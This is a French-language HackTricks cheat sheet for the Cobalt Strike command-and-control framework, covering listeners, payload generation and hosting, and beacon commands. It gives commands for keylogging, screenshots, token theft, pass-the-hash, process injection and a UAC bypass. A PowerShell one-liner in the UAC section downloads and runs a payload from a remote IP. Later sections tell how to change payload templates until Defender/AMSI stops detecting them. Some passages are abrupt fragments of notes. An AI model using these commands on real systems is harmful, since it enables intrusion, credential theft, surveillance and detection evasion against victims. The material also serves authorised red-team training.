hacktricks/c2/cobalt-strike.md
2023-06-03 13:10:46 +00:00

6.4 KiB

Cobalt Strike

Listeners

Écouteurs C2

Cobalt Strike -> Listeners -> Ajouter/Modifier puis vous pouvez sélectionner où écouter, quel type de beacon utiliser (http, dns, smb...) et plus encore.

Écouteurs Peer2Peer

Les beacons de ces écouteurs n'ont pas besoin de communiquer directement avec le C2, ils peuvent communiquer avec lui via d'autres beacons.

Cobalt Strike -> Listeners -> Ajouter/Modifier puis vous devez sélectionner les beacons TCP ou SMB

  • Le beacon TCP va définir un écouteur sur le port sélectionné. Pour se connecter à un beacon TCP, utilisez la commande connect <ip> <port> depuis un autre beacon
  • Le beacon smb va écouter dans un pipename avec le nom sélectionné. Pour vous connecter à un beacon SMB, vous devez utiliser la commande link [target] [pipe].

Générer et héberger des payloads

Générer des payloads dans des fichiers

Attaques -> Packages ->

  • HTMLApplication pour les fichiers HTA
  • Macro MS Office pour un document office avec une macro
  • Exécutable Windows pour un .exe, .dll ou service .exe
  • Exécutable Windows (S) pour un stageless .exe, .dll ou service .exe (mieux vaut stageless que staged, moins d'IoC)

Générer et héberger des payloads

Attaques -> Web Drive-by -> Scripted Web Delivery (S) Cela générera un script/exécutable pour télécharger le beacon de cobalt strike dans des formats tels que: bitsadmin, exe, powershell et python

Héberger des payloads

Si vous avez déjà le fichier que vous voulez héberger dans un serveur web, allez simplement à Attaques -> Web Drive-by -> Host File et sélectionnez le fichier à héberger et la configuration du serveur web.

Options de Beacon

# Exécuter un binaire .NET local
execute-assembly </path/to/executable.exe>

# Captures d'écran
printscreen    # Prendre une capture d'écran unique via la méthode PrintScr
screenshot     # Prendre une capture d'écran unique
screenwatch    # Prendre des captures d'écran périodiques du bureau
## Aller dans Affichage -> Captures d'écran pour les voir

# keylogger
keylogger [pid] [x86|x64]
## Afficher > Frappes de clavier pour voir les touches pressées

# portscan
portscan [pid] [arch] [cibles] [ports] [arp|icmp|none] [max connections] # Injecter une action de portscan dans un autre processus
portscan [cibles] [ports] [arp|icmp|none] [max connections]

# Powershell
# Importer un module Powershell
powershell-import C:\path\to\PowerView.ps1
powershell <just write powershell cmd here>

# Impersonation d'utilisateur
## Génération de jeton avec des informations d'identification
make_token [DOMAIN\user] [password] #Créer un jeton pour se faire passer pour un utilisateur dans le réseau
ls \\computer_name\c$ # Essayer d'utiliser le jeton généré pour accéder à C$ sur un ordinateur
rev2self # Arrêter d'utiliser le jeton généré avec make_token
## L'utilisation de make_token génère l'événement 4624: Une session a été ouverte pour un compte. Cet événement est très courant dans un domaine Windows, mais peut être affiné en filtrant sur le type de connexion. Comme mentionné ci-dessus, il utilise LOGON32_LOGON_NEW_CREDENTIALS qui est de type 9.

# Contournement de l'UAC
elevate svc-exe <listener>
elevate uac-token-duplication <listener>
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

## Voler le jeton d'un pid
## Comme make_token mais en volant le jeton d'un processus
steal_token [pid] # Aussi, cela est utile pour les actions réseau, pas pour les actions locales
## À partir de la documentation de l'API, nous savons que ce type de connexion "permet à l'appelant de cloner son jeton actuel". C'est pourquoi la sortie de Beacon dit Impersonated <current_username> - il se fait passer pour notre propre jeton cloné.
ls \\computer_name\c$ # Essayer d'utiliser le jeton généré pour accéder à C$ sur un ordinateur
rev2self # Arrêter d'utiliser le jeton volé avec steal_token

## Lancer un processus avec de nouvelles informations d'identification
spawnas [domain\username] [password] [listener] #Faites-le à partir d'un répertoire avec un accès en lecture comme: cd C:\
## Comme make_token, cela générera l'événement Windows 4624: Une session a été ouverte pour un compte, mais avec un type de connexion de 2 (LOGON32_LOGON_INTERACTIVE). Il détaillera l'utilisateur appelant (TargetUserName) et l'utilisateur usurpé (TargetOutboundUserName).

## Injecter dans un processus
inject [pid] [x64|x86] [listener]
## D'un point de vue OpSec: ne pas effectuer d'injection interplateforme à moins que vous n'en ayez vraiment besoin (par exemple, x86 -> x64 ou x64 -> x86).

## Passer le hash
## Cette modification nécessite le patching de la mémoire LSASS, ce qui est une action à haut risque, nécessite des privilèges d'administrateur local et n'est pas viable si Protected Process Light (PPL) est activé.
pth [pid]
```
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
```
N'oubliez pas de charger le script agressif `dist-pipe\artifact.cna` pour indiquer à Cobalt Strike d'utiliser les ressources du disque que nous voulons et non celles chargées.

### Kit de ressources

Le dossier ResourceKit contient les modèles pour les charges utiles basées sur des scripts de Cobalt Strike, y compris PowerShell, VBA et HTA.

En utilisant [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck) avec les modèles, vous pouvez trouver ce que Defender (AMSI dans ce cas) n'aime pas et le modifier :
```
.\ThreatCheck.exe -e AMSI -f .\cobaltstrike\ResourceKit\template.x64.ps1
```
Modifiant les lignes détectées, on peut générer un modèle qui ne sera pas détecté.

N'oubliez pas de charger le script agressif `ResourceKit\resources.cna` pour indiquer à Cobalt Strike d'utiliser les ressources du disque que nous voulons et non celles chargées.
```bash
cd C:\Tools\neo4j\bin
neo4j.bat console
http://localhost:7474/ --> Change password
execute-assembly C:\Tools\SharpHound3\SharpHound3\bin\Debug\SharpHound.exe -c All -d DOMAIN.LOCAL



# Change powershell
C:\Tools\cobaltstrike\ResourceKit
template.x64.ps1
# Change $var_code -> $polop
# $x --> $ar
cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna

#artifact kit
cd  C:\Tools\cobaltstrike\ArtifactKit
pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .


```